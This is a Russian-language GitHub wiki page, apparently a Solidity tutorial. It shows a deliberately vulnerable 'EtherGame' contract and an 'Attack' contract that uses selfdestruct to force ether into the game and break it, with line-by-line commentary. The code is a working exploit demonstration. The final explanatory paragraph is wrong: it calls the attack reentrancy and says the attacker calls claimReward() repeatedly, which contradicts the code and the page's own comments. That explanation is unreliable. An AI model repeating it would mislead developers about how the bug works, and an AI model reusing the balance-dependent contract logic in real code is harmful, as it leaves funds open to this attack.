self destruct - demonoved/A-trial-run-in-solidity GitHub Wiki

// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;
// контракты можно удалить из блокчейна
// selfdestruct отправляет весь оставшийся эфир, хранящийся в контракте, в обозначенный адресс
// сделаем игру. цель игры - стать 7-м игроком внесшим депозит в размере 1эфира
// можно внести только 1 эфир за раз
//победитель выводит весь эфир 
/*
1. разворачиваем EtherGame
2. два игрока соглашаются играть и вносят по 1 эфиру
3. разворачиваем атаку с адресом EtherGame
4. вызываем attack отправив 5 эфира, тем самым ломаем игру
Атака приводит к тому что баланс EtherGame сравнялся с 7 эфиром
соответственно никто не может внести депозит, и победитель не может быть определен
*/
contract EtherGame{
    uint public targetAmount = 7 ether;
    address public winner;
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");
        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");
        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}
contract Attack {
    EtherGame etherGame;
    constructor(EtherGame _etherGame){
        etherGame = EtherGame(_etherGame);
    }
    function attack() public payable {
        //ломаем игру, отправив эфир так что бы баланс игры был >= 7 эфира
        // указать адрес к оплате 
        address payable addr = payable (address(etherGame));
        selfdestruct(addr);
    }
}
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;

Эти строки являются комментариями, указывающими лицензию и версию компилятора Solidity, которую следует использовать для этого контракта.

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

Этот фрагмент кода определяет контракт EtherGame. Он содержит две переменные: targetAmount, которая определяет целевую сумму в размере 7 эфиров, и winner, которая будет хранить адрес победителя игры.

function deposit() public payable {
    require(msg.value == 1 ether, "You can only send 1 Ether");
    uint balance = address(this).balance;
    require(balance <= targetAmount, "Game is over");
    if (balance == targetAmount) {
        winner = msg.sender;
    }
}

Эта функция deposit() позволяет игрокам вносить депозит в размере 1 эфира. Она проверяет, что отправленная сумма равна 1 эфиру, и что текущий баланс контракта не превышает целевую сумму. Если текущий баланс достигает целевой суммы, адрес отправителя становится победителем.

function claimReward() public {
    require(msg.sender == winner, "Not winner");
    (bool sent, ) = msg.sender.call{value: address(this).balance}("");
    require(sent, "Failed to send Ether");
}

Эта функция claimReward() позволяет победителю игры получить все эфиры, хранящиеся в контракте. Она проверяет, что вызывающий адрес является победителем, а затем отправляет все доступные эфиры на адрес победителя.

contract Attack {
    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }
    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Этот фрагмент кода определяет контракт Attack, который может использоваться для атаки на контракт EtherGame. Конструктор контракта Attack принимает экземпляр контракта EtherGame в качестве аргумента. Функция attack() вызывает функцию selfdestruct, которая удаляет контракт Attack и отправляет все эфиры на адрес контракта EtherGame, тем самым ломая игру.

Этот код является примером уязвимости в смарт-контрактах, известной как "Reentrancy Attack" (атака на повторные вызовы). В данном случае, атакующий контракт Attack может вызывать функцию claimReward() контракта EtherGame повторно до тех пор, пока баланс контракта EtherGame не достигнет целевой суммы. Это приводит к тому, что победитель не может быть определен, и игра становится нерабочей.

Такие типы контрактов могут использоваться для различных целей, включая игры на блокчейне, финансовые приложения и децентрализованные организации. Однако, важно учитывать безопасность при разработке смарт-контрактов и устранять уязвимости, чтобы избежать возможных атак.